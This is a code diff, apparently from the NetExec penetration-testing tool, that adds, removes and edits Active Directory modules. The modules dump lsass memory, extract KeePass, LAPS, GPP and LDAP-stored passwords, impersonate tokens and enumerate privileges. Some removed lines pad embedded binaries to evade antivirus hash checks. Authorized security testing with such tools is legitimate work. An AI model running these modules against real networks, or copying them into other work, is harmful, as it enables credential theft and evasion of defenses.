return answersFiltered
-44
View File
@@ -1,44 +0,0 @@
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get the info field of users
Module by @sepauli
"""
name = "get-info-users"
description = "Get the info field of all users. May contain password"
supported_protocols = ["ldap"]
def options(self, context, module_options):
"""FILTER Apply the FILTER (grep-like) (default: '')"""
self.FILTER = ""
if "FILTER" in module_options:
self.FILTER = module_options["FILTER"]
def on_login(self, context, connection):
# Building the search filter
resp = connection.search(
searchFilter="(info=*)",
attributes=["sAMAccountName", "info"]
)
context.log.debug(f"Total of records returned {len(resp)}")
resp_parsed = parse_result_attributes(resp)
answers = [[x["sAMAccountName"], x["info"]] for x in resp_parsed]
answers = self.filter_answer(context, answers)
if answers:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]:<20} Info: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
if not self.FILTER:
context.log.debug("No filter option enabled")
return answers
# Filter
context.log.debug(f"Filter info field with: {self.FILTER}")
return [answer for answer in answers if self.FILTER in answer[1]]
-44
View File
@@ -1,44 +0,0 @@
from impacket.ldap import ldap as ldap_impacket
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get unixUserPassword attribute from all users in ldap
Module by @SyzikSecu
"""
name = "get-unixUserPassword"
description = "Get unixUserPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(unixUserPassword=*)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "unixUserPassword"],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
else:
nxc_logger.debug(e)
return False
if resp:
resp_parsed = parse_result_attributes(resp)
context.log.success("Found following users: ")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
else:
context.log.fail("No unixUserPassword Found")
-44
View File
@@ -1,44 +0,0 @@
from impacket.ldap import ldap as ldap_impacket
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get userPassword attribute from all users in ldap
Module by @SyzikSecu
"""
name = "get-userPassword"
description = "Get userPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(userPassword=*)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "userPassword"],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
else:
nxc_logger.debug(e)
return False
if resp:
resp_parsed = parse_result_attributes(resp)
context.log.success("Found following users: ")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
else:
context.log.fail("No unixUserPassword Found")
+4 -3
View File
@@ -1,6 +1,5 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.paths import NXC_PATH
import json
@@ -14,9 +13,11 @@ class NXCModule:
name = "get_netconnections"
description = "Uses WMI to query network connections."
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""No options available"""
"""No options"""
def on_admin_login(self, context, connection):
data = []
@@ -30,4 +31,4 @@ class NXCModule:
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
+2
View File
@@ -11,6 +11,8 @@ class NXCModule:
name = "gpp_autologin"
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
+2
View File
@@ -14,6 +14,8 @@ class NXCModule:
name = "gpp_password"
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
-257
View File
@@ -1,257 +0,0 @@
import ssl
import ldap3
import re
from io import BytesIO
class NXCModule:
"""
Module to retrieve privileges assigned via Group Policy Objects (GPOs) by parsing GptTmpl.inf files
and resolving SIDs using LDAP.
"""
name = "gpp_privileges"
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
supported_protocols = ["smb"]
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
"S-1-0-0": "Nobody",
"S-1-1": "World Authority",
"S-1-1-0": "Everyone",
"S-1-2": "Local Authority",
"S-1-2-0": "Local",
"S-1-2-1": "Console Logon",
"S-1-3": "Creator Authority",
"S-1-3-0": "Creator Owner",
"S-1-3-1": "Creator Group",
"S-1-3-2": "Creator Owner Server",
"S-1-3-3": "Creator Group Server",
"S-1-3-4": "Owner Rights",
"S-1-5-80-0": "All Services",
"S-1-4": "Non-unique Authority",
"S-1-5": "NT Authority",
"S-1-5-1": "Dialup",
"S-1-5-2": "Network",
"S-1-5-3": "Batch",
"S-1-5-4": "Interactive",
"S-1-5-6": "Service",
"S-1-5-7": "Anonymous",
"S-1-5-8": "Proxy",
"S-1-5-9": "Enterprise Domain Controllers",
"S-1-5-10": "Principal Self",
"S-1-5-11": "Authenticated Users",
"S-1-5-12": "Restricted Code",
"S-1-5-13": "Terminal Server Users",
"S-1-5-14": "Remote Interactive Logon",
"S-1-5-15": "This Organization",
"S-1-5-17": "This Organization",
"S-1-5-18": "Local System",
"S-1-5-19": "NT Authority",
"S-1-5-20": "NT Authority",
"S-1-5-32-544": "Administrators",
"S-1-5-32-545": "Users",
"S-1-5-32-546": "Guests",
"S-1-5-32-547": "Power Users",
"S-1-5-32-548": "Account Operators",
"S-1-5-32-549": "Server Operators",
"S-1-5-32-550": "Print Operators",
"S-1-5-32-551": "Backup Operators",
"S-1-5-32-552": "Replicators",
"S-1-5-64-10": "NTLM Authentication",
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
"S-1-16-8448": "Medium Plus Mandatory Level",
"S-1-16-12288": "High Mandatory Level",
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
}
def options(self, context, module_options):
"""NO_LDAP If set to True, disables LDAP queries for resolving SIDs."""
self.no_ldap = module_options.get("NO_LDAP", False)
def on_login(self, context, connection):
try:
connection.conn.listPath("SYSVOL", "*")
except Exception as e:
context.log.fail(f"Failed to list shares: {e}")
return
context.log.display("Searching for GptTmpl.inf files")
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
if not paths:
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
return
for path in paths:
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
else:
context.log.info(f"Found GptTmpl.inf: {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
try:
content = buf.getvalue().decode("utf-16le")
except UnicodeDecodeError as e:
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
continue
privileges = self.extract_privileges(content)
if privileges:
ldap_connection = None
if not self.no_ldap:
ldap_connection = self.initialize_ldap_connection(context, connection)
context.log.success(f"Privileges extracted from {path}:")
for privilege, sids in privileges.items():
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
if ldap_connection:
ldap_connection.unbind()
def extract_privileges(self, content):
"""Parses the content of GptTmpl.inf to extract privilege rights."""
privileges = {}
in_priv_section = False
for line in content.splitlines():
if line.strip() == "[Privilege Rights]":
in_priv_section = True
continue
if in_priv_section and line.strip() == "":
break
if in_priv_section:
match = re.match(r"^(.*?)\s*=\s*(.*)$", line)
if match:
privilege, sids = match.groups()
privileges[privilege] = [sid.strip("*") for sid in sids.split(",")]
return privileges
def initialize_ldap_connection(self, context, connection):
"""
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
"""
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
base_dn = None
try:
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.success("Connected to LDAP over SSL (LDAPS).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldaps_error:
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
context.log.info("Falling back to plain LDAP...")
try:
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.info("Connected to LDAP successfully (plaintext).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldap_error:
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
return None
def resolve_sid(self, context, sid, ldap_connection):
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
if sid in self.WELL_KNOWN_SIDS:
return self.WELL_KNOWN_SIDS[sid]
if ldap_connection and ldap_connection.bound:
try:
base_dn = getattr(ldap_connection, "base_dn", None)
if not base_dn:
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
return sid
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
ldap_connection.search(
search_base=base_dn,
search_filter=search_filter,
attributes=["sAMAccountName"],
)
if ldap_connection.entries:
entry = ldap_connection.entries[0]
return f"{entry['sAMAccountName']}"
else:
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except Exception as e:
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
else:
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
return sid
@@ -11,16 +11,15 @@ class NXCModule:
"""
name = "group-mem"
description = "[REMOVED] Retrieves all the members within a Group"
description = "Retrieves all the members within a Group"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
primaryGroupID = ""
answers = []
def options(self, context, module_options):
r"""
[REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
"""
group-mem: Specify group-mem to call the module
GROUP: Specify the GROUP option to query for that group's members
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
@@ -35,9 +34,6 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
return None
# First look up the SID of the group passed in
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "objectSid"
@@ -72,7 +68,7 @@ class NXCModule:
def do_search(self, context, connection, searchFilter, attributeName):
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
context.log.debug(f"Total number of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+3 -1
View File
@@ -15,6 +15,8 @@ class NXCModule:
name = "groupmembership"
description = "Query the groups to which a user belongs."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""USER Choose a username to query group membership"""
@@ -35,7 +37,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["memberOf", "primaryGroupID"],
sizeLimit=0,
+13 -19
View File
@@ -5,15 +5,17 @@
import base64
import re
import sys
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from pypykatz.pypykatz import pypykatz
import pypykatz
class NXCModule:
name = "handlekatz"
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
def options(self, context, module_options):
r"""
@@ -32,8 +34,6 @@ class NXCModule:
self.handlekatz_path = "/tmp/"
self.dir_result = self.handlekatz_path
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "HANDLEKATZ_PATH" in module_options:
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
@@ -50,7 +50,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
handlekatz_loc = self.handlekatz_path + self.handlekatz
if self.useembeded:
try:
with open(handlekatz_loc, "wb") as handlekatz:
@@ -78,7 +78,6 @@ class NXCModule:
if not p or p == "None":
context.log.fail("Failed to execute command to get LSASS PID")
self.delete_handlekatz_binary(connection, context)
return
# we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(",")[1][1:-1]
@@ -97,15 +96,12 @@ class NXCModule:
context.log.fail("Process lsass.exe error un dump, try with verbose")
dump = False
if not dump:
self.delete_handlekatz_binary(connection, context)
return
else:
if dump:
regex = r"([A-Za-z0-9-]*\.log)"
matches = re.search(regex, str(p), re.MULTILINE)
if not matches:
context.log.display("Error getting the lsass.dmp file name")
return
sys.exit(1)
machine_name = matches.group()
context.log.display(f"Copy {machine_name} to host")
@@ -117,7 +113,12 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error while get file: {e}")
self.delete_handlekatz_binary()
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
@@ -181,10 +182,3 @@ class NXCModule:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail(f"Error opening dump file: {e}")
def delete_handlekatz_binary(self, connection, context):
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
+11 -5
View File
@@ -70,7 +70,11 @@ def create_db(local_admins, dbconnection, cursor):
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
if connection.args.local_auth:
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
else:
context.log.extra["host"] = connection.domain
context.log.extra["hostname"] = connection.host.upper()
for result in credentials_data:
username = result["username"].upper().split("@")[0]
nthash = result["nthash"]
@@ -81,7 +85,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{domain.upper()}"
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -95,7 +99,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{domain.upper()}"
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -130,6 +134,8 @@ class NXCModule:
name = "hash_spider"
description = "Dump lsass recursively from a given hash using BH to find local admins"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -140,7 +146,7 @@ class NXCModule:
@staticmethod
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
host_id = context.db.get_hosts(connection.host)[0][0]
host_id = context.db.get_computers(connection.host)[0][0]
if password is not None:
credential_type = "plaintext"
else:
@@ -196,7 +202,7 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(host, file).parse()
credentials, tickets, masterkeys = Parser(file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
-51
View File
@@ -1,51 +0,0 @@
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
class NXCModule:
"""Module by @joaovarelas"""
name = "hyperv-host"
description = "Performs a registry query on the VM to lookup its HyperV Host"
supported_protocols = ["smb"]
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""""""
def on_admin_login(self, context, connection):
self.context = context
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
key = "HostName"
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
# Query
try:
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
key_handle = ans["phkResult"]
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
self.context.log.highlight(f"{key}: {reg_value}")
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
except DCERPCException as e:
self.context.log.fail(f"DCERPC Error while querying registry: {e}")
except Exception as e:
self.context.log.fail(f"Error while querying registry: {e}")
finally:
remote_ops.finish()
+3 -6
View File
@@ -6,7 +6,7 @@
from base64 import b64decode
from os import path
import sys
from datetime import datetime
from nxc.paths import DATA_PATH
@@ -14,6 +14,8 @@ class NXCModule:
name = "impersonate"
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
opsec_safe = True # could be flagged
multiple_hosts = True
def options(self, context, module_options):
"""
@@ -27,13 +29,8 @@ class NXCModule:
self.impersonate = "Impersonate.exe"
self.useembeded = True
self.token = self.cmd = ""
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
self.impersonate_embedded = b64decode(impersonate_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
+2
View File
@@ -7,6 +7,8 @@ class NXCModule:
name = "install_elevated"
description = "Checks for AlwaysInstallElevated"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
-47
View File
@@ -1,47 +0,0 @@
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# module by @mpgn_x64
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter
class NXCModule:
name = "ioxidresolver"
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
def options(self, context, module_options):
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
def on_login(self, context, connection):
try:
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
context.log.debug(f"Retrieving network interface of {connection.host}")
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
if self.pivot:
if NetworkAddr.rstrip("\x00") != connection.host:
context.log.highlight(f"Address: {NetworkAddr}")
else:
context.log.highlight(f"Address: {NetworkAddr}")
except Exception as e:
context.log.debug(e)
except DCERPCException as e:
context.log.error(f"DCERPCException error: {e}")
+2
View File
@@ -12,6 +12,8 @@ class NXCModule:
name = "keepass_discover"
description = "Search for KeePass-related files and process."
supported_protocols = ["smb"]
opsec_safe = True # only legitimate commands are executed on the remote host (search process and files)
multiple_hosts = True
def __init__(self):
self.search_type = "ALL"
+32 -31
View File
@@ -1,12 +1,13 @@
import os
import sys
import json
from xmltodict import parse
from time import sleep
from csv import reader
from base64 import b64encode
from io import BytesIO, StringIO
from xml.etree import ElementTree as ET
from xml.etree import ElementTree
from nxc.helpers.powershell import get_ps_script
from nxc.paths import TMP_PATH
class NXCModule:
@@ -24,6 +25,8 @@ class NXCModule:
# while the module only executes legit powershell commands on the target (search and edit files)
# some EDR like Trend Micro flag base64-encoded powershell as malicious
# the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
opsec_safe = False
multiple_hosts = False
def __init__(self):
# module options
@@ -38,7 +41,7 @@ class NXCModule:
self.share = "C$"
self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1"
self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe"
self.local_export_path = TMP_PATH
self.local_export_path = "/tmp"
self.trigger_name = "export_database"
self.poll_frequency_seconds = 5
self.dummy_service_name = "OneDrive Sync KeePass"
@@ -357,7 +360,7 @@ class NXCModule:
sys.exit(1)
try:
keepass_config_xml_root = ET.fromstring(buffer.getvalue())
keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue())
except Exception as e:
context.log.fail(f"Error while parsing file '{self.keepass_config_path}', exiting: {e}")
sys.exit(1)
@@ -376,32 +379,30 @@ class NXCModule:
def extract_password(self, context):
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
xml_tree = ET.parse(xml_doc_path)
xml_tree = ElementTree.parse(xml_doc_path)
root = xml_tree.getroot()
to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
xml_to_dict = parse(to_string)
dump = json.dumps(xml_to_dict)
obj = json.loads(dump)
root_entries = root.find("./Root/Entry")
if root_entries is not None:
for entry in root_entries:
if entry is not None:
self.print_password(context, entry)
else:
context.log.highlight("None")
objects = root.findall("./Root/Group")
while objects:
current_object = objects.pop(0)
for entry in current_object.findall("./Entry"):
self.print_password(context, entry)
for history in entry.findall("./History"):
for history_entry in history.findall("./Entry"):
self.print_password(context, history_entry)
objects.extend(current_object.findall("./Group"))
def print_password(self, context, entries):
for entry in entries.findall("./String"):
key = entry.find("./Key")
value = entry.find("./Value")
key_text = key.text if key is not None else "None"
value_text = value.text if value is not None and value.text is not None else "None"
context.log.highlight(f"{key_text} : {value_text}")
context.log.highlight("-------------------------------------")
if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
for password in obj2["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
try:
for obj3 in obj2["Entry"]:
for password in obj3["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
except KeyError:
pass
+5 -3
View File
@@ -17,6 +17,8 @@ class NXCModule:
name = "laps"
description = "Retrieves all LAPS passwords which the account has read permissions for."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
@@ -43,12 +45,12 @@ class NXCModule:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
try:
data = d.run()
except Exception as e:
context.log.fail(str(e))
continue
self.logger.fail(str(e))
return
r = json.loads(data)
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
elif "mslaps-password" in values:
+144 -225
View File
@@ -1,8 +1,6 @@
import socket
import ssl
import asyncio
import hashlib
import random
from msldap.connection import MSLDAPClientConnection
from msldap.commons.target import MSLDAPTarget
@@ -12,247 +10,168 @@ from asyauth.common.credentials.ntlm import NTLMCredential
from asyauth.common.credentials.kerberos import KerberosCredential
from asysocks.unicomm.common.target import UniTarget, UniProto
import contextlib
import sys
class NXCModule:
"""
Checks whether LDAP signing and LDAPS channel binding are required and/or enforced.
Checks whether LDAP signing and channelbinding are required.
Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0
Module by LuemmelSec (@theluemmel), updated by @zblurx
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
"""
name = "ldap-checker"
description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced"
description = "Checks whether LDAP signing and binding are required and / or enforced"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""No options available."""
# Conduct a bind to LDAPS and determine if channel
# binding is enforced based on the contents of potential
# errors returned. This can be determined unauthenticated,
# because the error indicating channel binding enforcement
# will be returned regardless of a successful LDAPS bind.
async def run_ldaps_noEPA(self, context, connection, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
_, err = await client.connect()
if err:
context.log.debug(f"Error connecting to {connection.domain}: {err}")
return None
client.cb_data = None
_, err = await client.bind()
if err and "data 80090346" in str(err):
return True # -> channel binding IS enforced
elif err and "data 52e" in str(err):
return False # -> channel binding not enforced
elif err is None:
return False # LDAPS bind successful -> channel binding not enforced
else:
context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}")
return None
except Exception as e:
context.log.debug(f"Exception in run_ldaps_noEPA: {e}")
return None
finally:
with contextlib.suppress(Exception):
await client.disconnect()
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that an
# LDAPS bind without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error received from the bind attempt.
async def run_ldaps_withEPA(self, context, connection, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
_, err = await client.connect()
if err:
context.log.fail(f"Error connecting to {connection.domain}: {err}")
return None
try:
context.log.debug("Retrieving TLS certificate hash...")
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
